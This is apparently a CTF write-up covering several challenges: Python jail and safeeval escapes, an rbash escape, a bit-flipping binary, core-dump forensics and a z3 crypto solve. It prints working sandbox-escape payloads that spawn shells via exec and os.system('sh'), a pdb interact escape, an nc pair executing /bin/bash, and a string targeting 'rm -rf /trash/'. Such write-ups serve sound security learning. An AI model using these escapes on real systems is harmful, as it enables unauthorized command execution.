### symcalcpy

only calculator symbols aka no words

aside from first word that the calc pushes onto the interactive console - which must be alphabets

interactive console can retrieve values using `_` - sth i learnt while watching jason use it for radare and binja lol coz i never use interactive console

all thats left is to find a way to unwrap dicts into lists which the * list unpacking operator works excellently 
```py
globals  #get globals as _
_1=_   #persist
_2=_1()[[*_1()][2]]  #builtins
_3=_2[[*_2][14]]  #chr
_4=_2[[*_2][20]] #exec
_4(_3(105)+_3(109)+_3(112)+_3(111)+_3(114)+_3(116)+_3(32)+_3(111)+_3(115)+_3(59)+_3(32)+_3(111)+_3(115)+_3(46)+_3(115)+_3(121)+_3(115)+_3(116)+_3(101)+_3(109)+_3(40)+_3(39)+_3(115)+_3(104)+_3(39)+_3(41))  #exec('import os; os.system(\'sh\')')
```

although turns out octal escapes in python is also numbers `\011` for example which i couldve used instead of chr

and also `breakpoint()` exists lmao which i can then invoke `interact` and get a unrestricted shell with that
```
First answer a question:
What is your favorite word? breakpoint
<built-in function breakpoint>
Happy calculating! And don't even try to hack!
> _()
> --Return--
> > <console>(1)<module>()->None
> (Pdb) interact
> *interactive*
> >>> import os; os.system('ls');
> flag.txt
> symcalc.py
> 0
> >>> 
```

### bit flipping machine

input must be upper case chars, no length limit

characters are processed in pairs in the for loop, independently

so why not just map out what the arithmetic is doing in the loop thats the only part that matters (aka not c++ string manipulation stuff lol)

after translating to python and mapping from AA-ZZ, i eventually realized its selecting an index and selecting a bit mask to xor with 
```py
#use this to get the map of what bit each pair of character flips
for v15 in upper:
    for v16 in upper:
        index = (v16 - 65 + 26 * (v15 - 65)) // 8
        sc = s[:index] + chr(ord(s[index]) ^ (128 >> ((v16 - 65 + 26 * (v15 - 65)) % 8))) + s[index + 1:]
        print(chr(v15), chr(v16), index, (128 >> ((v16 - 65 + 26 * (v15 - 65)) % 8)))
        #print(chr(v15), chr(v16), sc)
```

which performs exactly the bit flipping said in the chall desc lol

well then all thats left is to map which bits to flip and thats it for the first part

second part is figuring out that the loop reads null terminator while the length check reads c++ string length integer instead so theres a mismatch if we send them null bytes before hitting a line feed which makes the second part solvable

(below is for second part but first part can be mapped in the same way)
```py
#get a comparison for checking the bits to flip
print([c + " " + bin(ord(c)) for c in '1000 USD'])
print([c + " " + bin(ord(c)) for c in '9999 BTC'])

#s = 'rm -rf /trash/'
s = 'Send Mallory 1000 USD'


#t = 'CNCPCQCSCTCVCXCYCZDBDDDGDHDIDLDNDODPDTDXDYDZ'
t = 'EEEMEPEUEXFCFFFRFTFUFVGBGCGDGJGKGL'

#length check - must be multiple of 4
print(len(t) & 3)

#perform flipping after manually determining which bit to flip on which char using the map
for i in range(0, len(t), 2):
    v15 = ord(t[i])
    v16 = ord(t[i+1])
    index = (v16 - 65 + 26 * (v15 - 65)) // 8
    s = s[:index] + chr(ord(s[index]) ^ (128 >> ((v16 - 65 + 26 * (v15 - 65)) % 8))) + s[index + 1:]

#print(bin(ord(s[13])))  #for debugging which bit we flipped wrong

print(s)  #check final result 
```

then just send the string obtained lol
```py
from pwn import *

p = remote('flip.sdc.tf', '1337')

p.sendline('CNCPCQCSCTCVCXCYCZDBDDDGDHDIDLDNDODPDTDXDYDZ')
p.recvuntil('9999 BTC')
p.sendline('EEEMEPEUEXFCFFFRFTFUFVGBGCGDGJGKGL\0\0')  #for loop loops until null terminator, but c++ length checks whole string until \n which finishes getline
p.interactive()
```

(this is easily doable automatically but i was aiming for first blood so i manually did them all lol)


### flag hoarder

open core, see program argument is `/home/knox/Downloads/a.out ./flag.txt.bz2 ./password.txt`

extract part of elf using `info proc mapping` -> `dump memory core.bin, 0x555555554000, 0x55555555FFF` (0x555555556000 is unreadable)

decompile whatevers decompilable, realize its opening files in argument and xoring something and pretty much not doing anything else

strings core file for `password`, see the very secret password, assume its the password we need and xor it according to guessing from decompilation

get bamboozled by the line feed and wonder why bz2 is dying until i opened the dump in hex editor and saw the 0A right after the password 

add it and tada

solve script:
```py
import bz2

pw = b'this is my very secret password mwahahaha\n'

with open('enc', 'rb') as enc:
    e = bytearray(enc.read(-1))
    for i in range(len(e)):
        e[i] ^= pw[i % len(pw)]
    
    print(bz2.BZ2Decompressor().decompress(e, max_length=len(e)-10))
```

### turing complete safeeval

pwnlib safeeval checks opcode, which means i gotta learn pyc bytecodes

was testing what makefunction and loadfunction does, since thats the only thing they added for this chall to an otherwise proven fortified implementation

then i realized lambda can smuggle data
```py
import dis
c = compile("lambda x: ().__classes__.__subclasses__()", '<string>', 'eval')

#thus we can break safeeval jail using this since lambda smuggles code 
#(lambda: ().__class__.__base__.__subclasses__()[132].__init__.__globals__["system"]("sh"))()

print(dis.Bytecode(c))
print(dis.dis(c))
```

originally assigned lambda then called it, but that triggers `LOAD_NAME` which aint allowed

but we can call it directly after defining

whew flag


### rbash warmup

since rbash only restricts command use, doesnt restrict arguments, use netcat to exec bash

local nc needed since host cannot communicate with outside services at all

so make 2 ncs and background both then foreground the listener to interact with bash
```sh
nc -v -l -n 127.0.0.1 -p 1337 &
nc 127.0.0.1 1337 -c /bin/bash &
fg 1
```


### internprise encryption

i translated it to z3 script without realizing its unicode based and unicode is variable length lol so `rb` wouldnt work

once [@Arctic](https://maplebacon.org/authors/rctcwyvrn/) pointed that out to [@kever](https://maplebacon.org/authors/vEvergarden/) i solved it with z3 after dealing with extra signed bits

hey first z3 solve i guess
```py
from z3 import *

s = []
sol = Solver()

with open('flag.txt', 'r', encoding='utf-8') as enc:
    ef = enc.read()

    for i in range(len(ef)):
        s += [BitVec('c' + str(i), 8)]
        x = SRem((s[i] + i * 0xf), 0x80)
        #print(simplify(x))
        x += SRem(BitVecVal(ord(ef[i - 0x1]), 8), 128) if i > 0x0 else 0xd
        #print(simplify(x))
        x = SignExt(4, x) ^ 0x555
        #print(simplify(x))
        x = ((x ^ ~0x0)) & 0xff
        #print(simplify(x))
        x = ~(Extract(8, 0, x ^ 0x3))
        #print(simplify(BV2Int(x, is_signed=True)))
        x = ((x >> 0x1f) + x) ^ (x >> 0x1f)
        #print(simplify(BV2Int(x, is_signed=True)))
        #ef += [Extract(9, 0, x)]
        sol.add(x == ord(ef[i]))

print(sol.check())
print(sol.unsat_core())
model = sol.model()

#print([simplify(BV2Int(x, is_signed=True)) for x in ef])
print('wtf' + str(model))
print("".join([chr(model[var].as_long() & 0b01111111) for var in s]))
```